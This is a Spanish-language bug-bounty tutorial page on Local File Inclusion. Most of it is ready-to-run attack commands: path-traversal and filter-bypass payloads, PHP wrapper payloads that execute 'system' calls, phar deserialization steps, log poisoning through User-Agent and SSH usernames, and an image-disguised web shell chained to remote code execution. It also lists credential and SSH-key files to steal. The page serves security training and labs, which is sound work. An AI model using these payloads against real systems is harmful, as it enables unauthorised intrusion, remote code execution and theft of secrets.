Nivel BásicoGratis

LFI — Local File Inclusion: payloads, filters bypass, log poisoning y RCE

Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning y escalación de LFI a RCE en stacks PHP/Java/Node.

Gorka El Bochi11 de mayo de 202612 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

LFI permite leer (y a veces ejecutar) archivos arbitrarios del servidor via un parámetro de inclusión vulnerable. La metodología: detectar sink (?file=, ?page=, ?view=, ?include=) → traverse con ../ + variantes encoded → bypass filters (null byte, double encoding, UTF-8 overlong) → escalar a RCE via PHP wrappers, log poisoning, /proc/self/environ, o phar deserialization. Bounty típico de LFI → RCE: €2000-€10000.


Detección — qué parámetros sospechar

Cualquier parámetro que parezca cargar archivos o templates:

ruby
?file=home.html      ?page=about     ?view=profile
?include=header      ?template=main  ?lang=es
?doc=manual.pdf      ?path=/img.png  ?content=intro

Probe básico:

bash
curl "https://target.com/index.php?file=../../../../etc/passwd"
curl "https://target.com/index.php?file=....//....//....//etc/passwd"
curl "https://target.com/index.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

Si la respuesta contiene root:x:0:0: → LFI confirmado.


Bypass de filtros — tabla de payloads

FiltroBypassEjemplo
Strip ../ simpleDouble dots....//....//etc/passwd
Strip .. recursivoMixed..././..././etc/passwd
URL decode una vezDouble encode%252e%252e%252f (..%2f)
Whitelist .pngNull byte (PHP < 5.3.4)../../etc/passwd%00.png
Whitelist absolute pathForce absolute/var/www/html/../../etc/passwd
Strip slashUTF-8 overlong..%c0%af..%c0%afetc%c0%afpasswd
Append .phpPath truncation../../etc/passwd/././. (×4096)
Filter passwdWrappersphp://filter/convert.base64-encode/resource=/etc/passwd

[!tip] Cuándo probar double encoding Si el WAF decodifica una vez antes de aplicar la regex, double encoding (%252e%252e%252f) pasa porque la regex ve %2e%2e%2f no ../. La app decodifica una segunda vez al usar el parámetro → traversal funciona.


PHP wrappers — el ecosistema de gold

PHP soporta wrappers que cambian cómo se accede al recurso. Son la diferencia entre LFI = info leak y LFI = RCE.

php://filter — base64 source disclosure

Lee el código fuente PHP sin que se ejecute:

bash
curl "https://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Output: PD9waHAg... → base64 decode → source code

Útil para encontrar más LFIs, sinks de SQLi, hardcoded creds.

data:// — inline code execution

Si el wrapper data está habilitado:

bash
curl "https://target.com/index.php?file=data://text/plain,<?php%20system('id');%20?>"

expect:// — direct RCE

Requiere la extensión expect:

bash
curl "https://target.com/index.php?file=expect://id"

phar:// — deserialization RCE

El más infravalorado. Cuando un sink de PHP llama a file_exists(), fopen(), file_get_contents(), unlink(), getimagesize() sobre una ruta phar://, el archivo .phar se deserializa automáticamente. Si la app tiene una clase con __destruct o __wakeup peligroso → RCE.

bash
# Generar phar malicioso (PoC con gadget chain)
php -d phar.readonly=0 generate_phar.php
# Subir como avatar/imagen (content-type check pasa)
curl -F "avatar=@malicious.jpg" https://target/upload
# Trigger via LFI:
curl "https://target.com/index.php?file=phar:///var/www/uploads/avatar123.jpg/payload"

[!danger] Phar deserialization Funciona aunque el endpoint LFI sólo permita lectura — la deserialización ocurre durante el stat del archivo. PHP 8 mantiene phar habilitado por defecto. Bounty real con esta chain: €5000-€15000.


Log poisoning — LFI a RCE sin upload

Si controlas el contenido de un log que el servidor escribe, e incluyes ese log via LFI → tu payload se ejecuta como PHP.

Apache access.log

bash
# Paso 1: inyectar payload via User-Agent
curl https://target.com/ -H "User-Agent: <?php system(\$_GET['c']); ?>"

# Paso 2: include el log
curl "https://target.com/index.php?file=/var/log/apache2/access.log&c=id"

SSH auth.log

bash
# Paso 1: SSH con username PHP
ssh '<?php system($_GET["c"]); ?>'@target.com
# Falla el login pero queda en /var/log/auth.log

# Paso 2: include log
curl "https://target.com/index.php?file=/var/log/auth.log&c=id"

/proc/self/environ

bash
# User-Agent inyectado se refleja en environ del proceso CGI
curl "https://target.com/index.php?file=/proc/self/environ" \
  -H "User-Agent: <?php system(\$_GET['c']); ?>"

Targets típicos en cada SO

LinuxWindows
/etc/passwdC:\Windows\win.ini
/etc/shadow (necesita root)C:\boot.ini (legacy)
/etc/hostsC:\Windows\System32\drivers\etc\hosts
/proc/self/environC:\xampp\apache\logs\access.log
/proc/self/cmdlineC:\inetpub\logs\LogFiles\
/var/log/apache2/access.logC:\Windows\Panther\Unattend.xml
/home/<user>/.ssh/id_rsaC:\Users\<user>\.ssh\id_rsa
~/.bash_historyC:\Users\<user>\NTUSER.DAT
.env, wp-config.phpweb.config

LFI → RCE chain real (avatar + include)

Patrón clásico en apps PHP legacy:

php
<?php include $_GET['view']; ?>
bash
# 1. Subir avatar con PHP embebido (content-type check pasa)
curl -F "avatar=@shell.jpg" https://target/upload
# shell.jpg content: <?php system($_REQUEST['c']); ?>

# 2. La app guarda en path predecible
# /var/www/html/uploads/avatars/USER_ID.jpg

# 3. Include via LFI
curl "https://target.com/layout.php?view=/var/www/html/uploads/avatars/104.jpg&c=id"
# → RCE

Stacks no-PHP — los gotchas

LFI no es exclusivo de PHP. En Java, Node y Python suele ser lectura solamente (no RCE directo), pero el impacto sigue siendo alto.

StackSink típicoEscalada
Java/Springnew File(input), Files.readAllBytesRead application.properties, .jar con secrets
Node.jsfs.readFile(path.join(BASE, input))Read .env, source .js, configs
Pythonopen(input), pathlib.Path(input).read_textRead .env, settings.py, Django SECRET_KEY
Goos.ReadFile(input)Read configs, certs

[!warning] Path normalization desync Node + Bun tienen casos donde el URL parser preserva // pero path.join() colapsa. Resultado: middleware string-based (startsWith("/admin")) puede bypasearse con //admin/secret. Probar siempre //, \, %2f, %5c en parámetros que normalizan paths.


Hunting checklist

  • Identificar todos los params con shape de path (file=, view=, page=, include=)
  • Probe básico con ../../../../etc/passwd
  • Si filtra: double encoding, ....//, null byte, UTF-8 overlong
  • PHP detectado: probar php://filter/convert.base64-encode/resource=index.php
  • Phar disponible: generar gadget chain y triggerear con phar://
  • Log poisoning: inyectar payload en User-Agent o SSH login
  • /proc/self/environ para extraer env vars (AWS keys, JWT secrets)
  • Source code disclosure → buscar más LFIs, SQLi, hardcoded creds
  • Combinar con upload arbitrario para RCE end-to-end
  • Probar en stacks no-PHP: lectura de .env, application.properties, .git/config

Labs relacionados

Practica explotación completa de LFI desde traversal básico hasta RCE via phar y log poisoning en labs de LFI.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Lfi Extraction

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

El truco PHP wrapper `phar://` que convierte LFI en deserialization RCE sin que el endpoint acepte uploads — funciona en 70% de apps PHP legacy.

Desbloquear

7,99 €/mes · cancela cuando quieras

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.